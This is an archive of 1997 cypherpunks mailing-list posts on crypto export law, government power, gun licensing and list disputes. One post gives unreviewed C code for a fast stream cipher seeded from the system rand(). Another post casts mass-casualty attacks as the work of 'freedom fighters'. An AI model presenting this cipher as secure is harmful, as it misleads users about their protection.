Content-Type: text/plain


At 08:50 5/02/97 -0700, Kent Crispin wrote:
>On Fri, May 02, 1997 at 12:34:19AM -0800, Jim Bell wrote:

>The basic point, really, is that organizational complexity grows 
>with the size of the organization, at a greater than linear rate.  
>This is because organizational complexity is a function of 
>interactions between members of the organization, which is at least 
>n-squared.  (However, when you consider that alliances form and can 
>interact, the true complexity grows at a much faster rate.) 

You seem to be taken with making all sorts of bare, unsupported claims,
obviously with the intention of explaining (for example) away what was
apparently an INTENTIONAL increase in the size of Federal government between
(say) 1932 and today.   

To read your paragraph above, its increase in size was simply the
unavoidable consequence of nature's laws or something akin to it.  Maybe a
product of number theory, or the Fibbonacci sequence, exponential increase,
or something like that.  Which would, if true, remove just about all the
blame from those who were in control of the situation.

BULLSHIT!

Chances are good that at least 75% of the size of the US Federal government
today is due to spending that wasn't considered the proper Constitutional
function of the government before 1930, and certainly not before 1900 or so.
(Large peacetime military, Socialist Insecurity, Welfare, Medicare,
Medicaid, interest on national debt caused by deficit spending that occurred
due to funding these previous atrocities, etc.)

>> But NONE of this is truly needed.  I have a solution to that problem.
>
>Jim, have you considered the interaction between religious beliefs and
>AP? You apparently don't have direct knowledge of this, but after a
>certain level of economic security has been reached economics becomes
>a much less important as a motivator [Maslow].

Other people have blown this claim away, so I don't think I need bounce the
rubble further.  However, I wonder why you think that people will not resent
the theft of their property simply because they've reached "a certain level
of economic security."?

Frankly, it sounds like yet another of your "let's justify the government
through specious arguments" exercises.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 6 May 1997 01:10:05 +0800
To: Alan Olsen <gbroiles@netbox.com>
Subject: Insults about C2Net
In-Reply-To: <3.0.1.32.19970504225450.006fe22c@pop.sirius.com>
Message-ID: <v03007800af93ca8bcc21@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:22 PM -0800 5/4/97, Alan Olsen wrote:

>I really knew what specific actions caused people to have such a NASTY
>opinion of C2net.  I have seen mistakes on their part, but nothing to warrent
>the kind and amount of venom I have seen from people.  Maybe I missed
>something somewhere...  (Or is this one of those "people who disagree with me
>are <fill in insult here>"?)

This is an easy one. The only continuing insults I see come from Vulis. No
further explanation is needed.

(One wonders why Vulis does not simply program one of his insultbots to
spew out a daily insult.)

I happen to believe C2Net overreacted to Vulis' slur about the quality of
Stronghold, and I strongly, strongly believe that Sandy S. should not have
censored the Vulis post while being an employee of C2Net (that is, he
should have done one or more of the following: let it pass the way so many
off the wall posts were passed, announce publically what he was doing at
the very least, recuse himself from the decision due to conflict of
interest, or, best of all, quit as censor).

But the C2Net flap is behind us. The continuing claims that it was C2Net
which instructed Gilmore to remove Vulis are incorrect--Gilmore actually
receives his instructions from the Elders of Zion, relayed through the San
Francisco representatives of the Bilderburgers.

As for stores asking for personal info, this is unsurprising. Fortunately,
one can always refuse to give it, or lie, or just shrug. No laws yet demand
this information be given (except for sales of guns and other such
almost-contraband). Stores seek information for marketing, for decisions on
placement of new stores (which is why zip codes are sometimes asked for),
etc.

"Identity is just another credential in a negotiation."

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@communities.com>
Date: Tue, 6 May 1997 01:24:04 +0800
To: cypherpunks@toad.com
Subject: Fast Cheap Unreviewed Stream Cipher
Message-ID: <3.0.32.19970505095357.006e9248@homer.communities.com>
MIME-Version: 1.0
Content-Type: text/plain


I received this code from another friend.

Here's a FAST somewhat cryptographically secure pseudo-random generator
written by a friend of mine that wishes to remain anonymous.  He has given
permission for the following code to be placed in the public domain, and to
be sent to cypherpunks and others for review.  Alas, I have never gotten
around to doing so.  As it states, on a PowerPC it'll produce bits fast
enough to be a pseudo-one-time pad / stream cipher for good digitized video
on a LAN (the purpose for which he originally sent it to me) and hence
should do point-to-point audio without even breathing hard.

For those who haven't heard, the scenario is for point-to-point audio to
use an affordable (weak) stream cipher, but to be changing keys frequently
using our strongly secure SSL channel.  Each costly break would only
compromise a few seconds or so of audio.  The following code may serve as
the affordable (but maybe better than weak) stream cipher.


/******************************************************/
/**  (c) 1823 Millard Fillmore, all rights expired   **/
/**  Full words of pseudorandom bits at video speed  **/
/******************************************************/

#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <sioux.h>

#define WORD_SIZE 32

unsigned long shiftRand();
static void refillShiftRand();
void seedShiftRand(unsigned long seed);


static unsigned long shiftRandArray[31] = { };            // to hold
internal state values
static unsigned long * arrayPtr = shiftRandArray;         // incremented as
state values are consumed
static unsigned long * const end = shiftRandArray + 31;   // marks end (and
need to refill array)

// Initializes shiftRandArray to pseudorandom contents using a seed value
and the system rand function,
// which is assumed to produce 16 bits per call. Low rand bits are obscured
by xoring with high bits from other
// calls, and all product bits depend on two or more calls to rand. The
resulting values are themselves obscured,
// not simply revealed at the output, hence this is probably overkill. The
seed acts as a key.

void seedShiftRand(unsigned long seed) {
        srand(seed);
        long cyclesPerWord = ((WORD_SIZE + 7) >> 3) - 1; // will add a net
of 8 bits per call to rand
        unsigned long * arrPtr        = shiftRandArray;
        for (; arrPtr < end; arrPtr++) {
                unsigned long rand1 = rand();                // wrap this
value around word boundary:
                unsigned long element = (rand1 >> 8) | (rand1 << (WORD_SIZE
- 8));
                for (long i = 0; i < cyclesPerWord; i++) {
                        element ^= rand() << (8 * i);            //previous
8 high bits obscure 8 new low bits
                }
                *arrPtr = element;
        }
}

// Low-order bits in the following act as an xor-based linear feedback
shift register (with moving taps
// and stationary data); the repeat period equals (1 << 31) - 1.
Higher-order bits have similar
// "intrinsic" behavior, but the state of each is determined by additional
xoring with a sequence
// of carry bits from below, causing repeated period-doubling across the
width of the word.
//
//    The choice of 31 and 13 corresponds to a primitive polynomial mod 2;
Applied Cryptography has
// typos in polynomial coefficients, but the repeat period was tested
directly. This code avoids a
// shift-direction mistake in Applied Cryptography, and hence follows
Numerical Recipes.
//

static void refillShiftRand() {

        unsigned long  * tap0  = shiftRandArray + 0;
        unsigned long  * tap13 = shiftRandArray + 13;

        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13 = shiftRandArray;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;   tap0++; tap13++;
        *tap0 = *tap0 + *tap13;

        return;
}
//  sum at 10 million iterations = 1344076334


/*
// Slightly faster than the above on a 604, provided CodeWarrior's
instruction-scheduling "optimization" is OFF.

static void refillShiftRand() {

        unsigned long  * tap0a  = shiftRandArray + 0;
        unsigned long  * tap0b  = shiftRandArray + 1;  // uses more registers
        unsigned long  * tap13a = shiftRandArray + 13;
        unsigned long  * tap13b = shiftRandArray + 14;

        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a =  shiftRandArray;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b = (shiftRandArray +
1);
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;   tap0b += 2; tap13b += 2;
        *tap0a = *tap0a + *tap13a;   tap0a += 2; tap13a += 2;
        *tap0b = *tap0b + *tap13b;
        *tap0a = *tap0a + *tap13a;

        return;
}
//  sum at 10 million iterations = 1344076334
*/

// The array-filling mechanism above provides an information-conserving
mechanism for producing
// pseudorandom numbers with an effectively unlimited repeat period, fast,
but based on a large number of
// internal state bits, and having a bit of a given order eventually depend
on all bits of the same or
// lower order in all words in the array.
//    Rare, transient states having almost all zeros in the low bits will
show strong correlations,
// since the restoration of normal bit statistics will take several cycles.
(The all-zero state
// is inaccessible unless it is the starting condition -- one might test
for this.)  Correlations
// in the frequency of low-order zero bits in sequentially generated array
elements are eliminated
// in the output by xoring high bits with the low bits; adding a preceding
squaring operation
// adds the effect of making any given output consistent with a large
number of array element states,
// making inferences regarding the internal state of the system relatively
difficult.

inline unsigned long shiftRand() {

        ((arrayPtr == end) ?                     // '?:' instead of 'if' to
enable inlining by CW compiler
                  (refillShiftRand(),
                   arrayPtr = shiftRandArray,
                   0) : 0);
        unsigned long output = *arrayPtr++;
        unsigned long square = output * output;  // this multiplication
seems free on a 605
        return(square + (output >> (WORD_SIZE / 2)));
}

// With multiplication (above) and summing of output to prevent bogus
optimizations, 16.5 clocks per word.
// Test code for CodeWarrier environment.

void main () {

        SIOUXSettings.asktosaveonclose = FALSE;

        unsigned long sum = 0;
        seedShiftRand(12345);                    // easily guessed seed
        long start = clock();
        for (long i = 0; i < 2000000; i++) {
                sum += shiftRand();
                sum += shiftRand();
                sum += shiftRand();
                sum += shiftRand();
                sum += shiftRand();
        }
        unsigned long end = clock();
        printf("\n sum = %u", sum);
        printf("\n\n time = %d \n", (int)(1000.0 * ((float)(end - start) /
(float)CLOCKS_PER_SEC)));

}







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 5 May 1997 23:10:29 +0800
To: cypherpunks@cyberpass.net
Subject: Problems with posts
Message-ID: <199705051451.JAA00342@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hmmmm I seem to be having some problems with getting my messages posted to
the list (at least they are not showing up back here). :(

This is just a test so please ignore.

Thanks,


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Win3.1? For fast relief call 800-3-IBM-OS2.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM24DHo9Co1n+aLhhAQFQAwP+L3AXu9AbQsCuaNroI3UfuyAKGO70MiMM
MD4bxRENaBwRc4A1aU6QsZosbuyRZfOZqCQ67ANI7Ecowfij9rc92wOvl+ePhYjS
ObvDdDoDRpDqBDQ8oVimDkIwXJ8z79xxK6s3F0uevSb4pSlz3MZHrf+BoDxc5L1u
mA403n2n+W8=
=cAdA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 6 May 1997 02:27:54 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <19970502085056.16118@bywater.songbird.com>
Message-ID: <v03007802af93d4661cc8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:25 PM -0800 5/4/97, Kent Crispin wrote:
>On Mon, May 05, 1997 at 12:31:12AM -0500, snow wrote:
>> Kent Crispin wrote:
>> > AP? You apparently don't have direct knowledge of this, but after a
>> > certain level of economic security has been reached economics becomes
>> > a much less important as a motivator [Maslow].
>>
>> 	Bullshit:
>>
>> 	Donald Trump. Leona Helmsley, The Kennedy Clan, etc.
>>
>> 	I would say that with economics, the _more_ you have the more
>> it motivates your life.
>
>And of course, Tim May, and John Gillmore.

Indeed, Maslow's hierarchy of needs is very much in line with what I see
all around me (and with Nietzsche's "will to power," of course).

The fact that I have spent many hours a day for almost 5 years on this and
related mailing lists, for which I've received not a dime of financial
benefit, ought to make clear that some things are more important than
making more money.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 5 May 1997 20:43:16 +0800
To: ichudov@algebra.com
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <199705041925.OAA30688@manifold.algebra.com>
Message-ID: <Pine.LNX.3.91.970505102129.509B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > > A ban on all handguns even when registered (currently all pistols above 
> > > .22 are banned and all guns have to be registered in a process whereby if 
> > > the applicant for a certificate has any history of political dissention 
> > > or crime (eg. Smoking a joint, the ultimate sin against society) the 
> > > certificate will be refused.
> 
> What would be an example of such political dissention?

Well, I`m pretty sure that, having recently been involved in campaigns 
against the ban on handguns, written to a number of people in positions 
of power over the proposed TTP scheme in the DTI white paper etc. my 
firearms licence will not be renewed the next time it comes up for review.
The powers that be now presumably see me as a loon.

A damning enditement on the British people is that last time I mentioned 
to someone my having written to the home office and others over the 
proposed gun ban I was called a lunatic and told "The sort of person who 
writes to the home office over something like that is the least suitable 
to have a gun".

I can assure you this is not a one-off, this happens every time people who 
don`t shoot find out I do. They have been brainwashed by the 
tabloid press, for example, the daily mail ran a particularly vitriolic 
hate campaign against gun owners singling out Albie Fox, leader of the 
campaign against the ban, and calling him a "Gun obsessed lunatic".
This, recall, is the same daily mail which rants every day about the 
"evil of drugs" and how the only way to "save society" is to throw 
everyone who doesn`t support their particular brand of bigoted fanaticism 
into jail for the rest of their life.

And of course, one would imagine that those who actually owned guns and 
used them for sport themselves would be the most informed people who 
would realise that the criminal use of guns is at the opposite end of the 
scale to the sporting use allowed in British law. However, I know several 
people who have said "I`m happy to give up my guns if it will save 
lives", to this I simply reply "who were you going to kill?" then walk 
away, these people don`t even deserve correcting as their bullshit is so 
deep.

In addition, when the police revoke or refuse to renew a firearms 
certificate, they do not need to give a reason, so one cannot even prove 
that it was because of speech or opinions they didn`t like that they 
revoked the certificate. Even if you could, it is unlikely a challenge in 
court would succeed, the UK does not have the same free speech guarantees 
as are given in the US and elsewhere, and any court challenge would fail, 
of that I am sure.

Also, to worsen the situation, the labour party has now come to power and 
as I have already explained in a previous post this make matters even worse.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 6 May 1997 02:14:09 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705030048.TAA15456@mailhub.amaranth.com>
Message-ID: <199705051749.KAA19491@krypton.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> > And I don't understand why you did not respond to this point when
> > I brought it up earlier.  This area is MOST CERTAINLY NOT free of
> > legislation.  Have you tried to openly export a IDEA- or
> > 3DES-based non-key-recovery (real commercial) product lately?
> > Have you set up an open, publically announced FTP site where
> > anyone can freely fetch strong encryption sources?  If not, then
> > explain why, if there is no legislation on this matter, couldn't
> > you do it?
>
> Well I can't speak for Tim's actions in this area but I can say that
> I have made strong crypto available for download via the INet. And I
> ahev openly announced that I have made such available on numerious
> newsgroups and mailing lists.
>
> http://www.amaranth.com/~whgiii/pgpmr2.html

Ok.  I'll give you a brownie point for an FTP site.  I honestly don't
think the NSA has time to go after a few, small-time, non-commercial
FTP sites, and I don't believe site maintainers like you have much to
lose on this matter.  The NSA is not as dumb as the Scientologists on
fighting a handful of individuals on the Net (most of whom can easily
get any job they want in the high tech industry, including charging
>$100 per hour consulting, so the NSA has almost no leverage, and the
backlash is even worse).

On the other hand, SGI, Sun, HP, IBM, AT&T, etc. have much more to
lose than you do.  They have huge government contracts (which they
coincidentally announced very soon after they signed up for the
key-recovery initiative), which the NSA can threaten.  They have other
export licenses (non-encryption-related) they need.

> There is no legislation on this matter only an unconstitutional
> presidental order.

Well, I'm not going to get technical here on just what is in effect.

A presidential order is often as good as a hard legislation.  In this
case, it is just as good.  And it's not just encryption.  Look at what
happened to SGI when several supercomputers were discovered to have
gone to China?  Again, it's just an execute order, not hard
legislation.  (And there are good reasons for giving the executive
branch executive priviledge, as there is no reason to micromanage
other branches of the government unless there is a serious issue.)
And this is what the administration argued for before enough
legislators thought it was a serious issue.

My conclusion on the issue of whether or not there is legislation on
this matter, is yes.  Is it technically a bill which passed congress?
No.  Is it some rule that some branch of government can use to harass
you?  Yes.  That's effective enough for me (in fact, it's worse,
because it is "more arbitrary").

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 6 May 1997 03:06:06 +0800
To: Tim May <tcmay@got.net>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <v03007801af91e1128b39@[207.167.93.63]>
Message-ID: <199705051842.LAA21649@krypton.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> > In short, they can get what they want instantly, while we cannot
> > except through a long and arduous process (during which they can
> > throw many procedural and lobbying obstacles to slow us down).
> > The process is clearly in THEIR favor (and not without good
> > reason), and we must face that fact.
>
> Yes, and they keep throwing out new proposals (Clipper I, II, and
> III, Key Recovery Initiative, Trusted Third Parties, blah blah).
> [SNIP]
> They can generate laws far faster than we can mount
> political counter-efforts
> [SNIP]

Yup.  But again, they are given that priviledge for good reasons, one
of which is that they are supposedly the "experts", whatever that
means.

> It's hopeless to fight them on their own turf, as they hold most of
> the cards (and we paid for them).

Amen.

> > It takes just one Om Shinri Kyo (sp?) in any nation to convince
> > its leaders to pass knee-jerk panic legislation in the name of
> > security, and it's the fault of politics at the beck and call of
> > human nature (not just stupid politicians).
>
> And this will happen regardless of whether SAFE passes or not. As
> several of us have pointed out, SAFE contains prominently mentioned
> provisions for the stoppage of crypto exports (and maybe even
> domestic distribution) should terrorism or military diversions be
> [SNIP]

I think this really depends upon how the "terrorism" cause is
determined.  If it is the arbitrary decision of the executive branch
alone, then we have to question why the Clinton administration still
believes we are under such imminent threat, and how this is different
from the critieria being imposed by the SAFE provisions.

> [SNIP]
> weeks. Had the World Trade Center bombs succeeded (in bringing down
> one of the towers), this would have done it. When freedom fighters
> ultimately succeed in, say, killing 5000 Londoners in a Sarin or
> Ricin attack in the Tube, expect dramatic moves in all Western
> nations to sharply curtail civil liberties.

I think we violently agree here, except for one-sided terminologies
like "freedom fighters" or "terrorists".

> There is no hope that legal measures can maintain liberty. Only
> technological bypasses of the State can succeed.

However, here is where we don't necessarily agree.  Laws are around to
allow some "civilized" co-existance, where "civilized" is defined by
the basic rights and liberties of members of that society.  It is
important to follow laws for what they are intended to do.  It is
important to have a viable process for questioning and revising laws
which do not have desired intent or effective control.  It is also bad
to have laws which do not clearly define what they restrict, and it is
here which I, and many others, do not like ITAR.

I don't buy the burden of multiple export version argument because
most software exports HAVE to have multiple export versions for other
reasons such as language, cultural considerations, etc ...

I don't completely like the first amendment argument because it is
solely based on claiming that software is, first and foremost,
expression.  In fact, software has mechanism and side effect of
mechanism.  If software were strictly expression, it is hard to
imagine how a multi-billion industry could have spawned from such an
inert practice.  Another example: one could argue that crafting an
grenade launcher is artistic expression, but surely few would consider
THAT argument when faced with such an "expressive" neighbor.  The
point here is that software, by itself, could never have the imminent
danger that a grenade launcher could have.  Therefore, it should be
incumbent upon the export regulators to prove that the software poses
imminent danger before they should be allowed to regulate export.

In that sense, I have no problems with restricting, for instance,
software which is specifically designed to, say, hide the transport of
nuclear weapons.  Of course, I have no idea how one could design a
piece of software to do that, but IF the DoC/DoD/NSA/FBI can prove
that a piece of software was designed primarily to do that, then I'll
be happy to allow them to restrict the export of THAT specific piece
of software.

On the other hand, most software, especially those that fall into the
freeware or shareware category on the Net, have proven to be of
significant positive contribution to society.  Encryption is a
fundamental element (not the only element) in protecting our Net.  In
addition, equivalent strength or better encryption is already
available outside the U.S., so the laws do not have any real effect on
the general spread of encryption, unless of course, we have any
legitimate interest in deliberately crippling the protection
mechanisms in GII.  If there is, it would have to be a one-sided and
government-only interest (and I know that these arguments are based on
outdated Cold War thinking).  Therefore, I must conclude that, while
there may have been reasons in the past for restricting encryption
export, it is no longer net positive value for the U.S., as a nation,
to restrict its export.

This is why I don't care if SAFE explicitly declares that using
encryption to hide a crime is illegal (though I don't see the need for
an explicit declaration).  As long as SAFE invalidates ITAR with
respect to encryption, then Americans no longer have to prove that
encryption exports are being used for "bad" purposes; now it is up to
law enforcement to prove that an export is being used for "bad"
purposes.

While that may sound like a small gain, it is a huge win for
encryption liberty.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 6 May 1997 03:43:22 +0800
To: jimbell@pacifier.com (Jim Bell)
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705032005.NAA29515@mail.pacifier.com>
Message-ID: <199705051911.MAA21827@krypton.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



> > The NSA/FBI is NOT standing still while we are all bickering about
> > precisely which dotted-i and crossed-t to support.  They can, at
> > the stroke of Clinton's executive order pen, initiate effectively
> > THEIR law, while we must gather forces and summon Congress to jump
> > through enough hoops to pass effective legislation.
> >
> > In short, they can get what they want instantly, while we cannot
> > except through a long and arduous process (during which they can
> > throw many procedural and lobbying obstacles to slow us down).
> > The process is clearly in THEIR favor (and not without good
> > reason), and we must face that fact.
>
> Then let's force them to take that step, which (BTW) they haven't

Well, which "step" are you referring to?  The Clinton administration
is quite skilled at PR, and their intent is to project the image of
"middle of the road" and "balanced".  Of course, those are meaningless
words, but they sound real good in the context of the opponents being
painted as extremists.  For instance, take a look at the words which
the administration's appointee's use.  Bruce Lehman, et al have all
liken their opponents to David Koresh and other groups considered to
be extreme by the general public.

So far, the only high-profile "steps" they have taken is to put out
more Clipper-esque execute orders and call them "compromises".  These
are just maneuvers, but they still are effective executive orders,
none the less.

> done already.  They are well aware of the highly questionable
> constitutional nature of such a system, and I'm sure they're

That is why they back off prosecuting Zimmerman.  I don think they saw
a lose-lose scenario there, and decided it was better to leave the law
ambiguous rather than let it become well-defined, in the best case.

> worrying that not only would such an executive order galvanize
> opposition to such a plan, it would also delay for a year or two the

Ok, so are you saying that they did not make a totally one-sided
executive order without consulting ANYONE?  Sure, I agree that they
did not do that.  However, that would be silly, as it would not appear
convincing when they claim "middle of the road".

In fact, they still got what they wanted anyway (except for the
arbitrary key recovery which the NSA can do with the Clipper).  The
point here is that Joe-Small-Town sheriff needs the cost/speed/stealth
requirements of applying two aligator clips to get a wire tap, and
they got it.

> perceived "need" for the legislation they currently (and secretly)
> seek.  By the time the executive order is overturned by the SC,
> it'll be too late to restore it as Congressional legislation.

Yes, this is the point of the PR.  Keep the opposition from having a
major rallying point.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua@chromatic.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 6 May 1997 04:29:11 +0800
To: cypherpunks@cyberpass.net
Subject: Terrorists or Freedom Fighters or Rebels?
In-Reply-To: <v03007801af91e1128b39@[207.167.93.63]>
Message-ID: <v03007804af93f2a537ec@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 AM -0800 5/5/97, Ernest Hua wrote:

>> weeks. Had the World Trade Center bombs succeeded (in bringing down
>> one of the towers), this would have done it. When freedom fighters
>> ultimately succeed in, say, killing 5000 Londoners in a Sarin or
>> Ricin attack in the Tube, expect dramatic moves in all Western
>> nations to sharply curtail civil liberties.
>
>I think we violently agree here, except for one-sided terminologies
>like "freedom fighters" or "terrorists".

I've been trying consciously to use "freedom fighter" in nearly all cases
where the Administration would use "terrorist." It causes people to
sometimes do a double take, and think more closely about the underlying
issues.

In fact, many of the world's so-called "terrorists" are in fact fighting
for some form of liberation from colonialists, corporations who bought up
land from corrupt dictators, and so on. We could argue whether the IRA is a
"freedom fighting" group, given that Protestants are in a majority in
Northern Ireland, but then we'd have to also consider the British policies
which encourgaged migration of Protestants to Ireland, etc.

(Are American Indians who fight for basic rights, and for enforcement of
treaties, terrorists or freedom fighters? Or something else? Or do labels
matter?)

And what about the "freedom fighters" in the jungles of Burma (Myanmar)
Phil Zimmermann likes to cite as critical users of PGP? By the standards of
the official government of Burma, these folks are terrorists. (They blow up
bridges, derail trains, etc.)

I usually cite these rebels as obvious examples of terrorists using strong
crypto. And by the fact that Phil Z. advertises the use of PGP by these
terrorists, I submit that SAFE could be invoked so as to halt international
exports of PGP by using the clause which says:

" The Secretary shall authorize the export or reexport of software with
encryption capabilities for nonmilitary end-uses ...unless there is
substantial evidence that such software will be...diverted to a military
end-use or an end-use supporting international terrorism...[or]...modified
for military or terrorist end-use..."

Slam dunk! "PGP being used by terrorists in Burma...license for export denied."


(And there's no way to bring in such sophistry as "legitimate governments."
The government of Burma is not substantially less legitimate than are
hundreds of other governments.)

"Terrorism" is just another mode of warfare.

(If the argument is that terrorism involves attacks on civilians, what were
the firebombings of Dresden (300,000 German civilians killed) and Tokyo
(200,000 killed), not to mention Hiroshima. And so on. Most arguments
purporting to prove that various "terrorist" groups are not legitimate
freedom fighters will turn up such inconsistencies.)

The State of Israel got a big boost from terrorism, with the Stern Gang
bombing British barracks, bridges, etc. Begin was even a member.

And so it goes.

--Tim May, referred to as an "info-terrorist" by one government guy


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
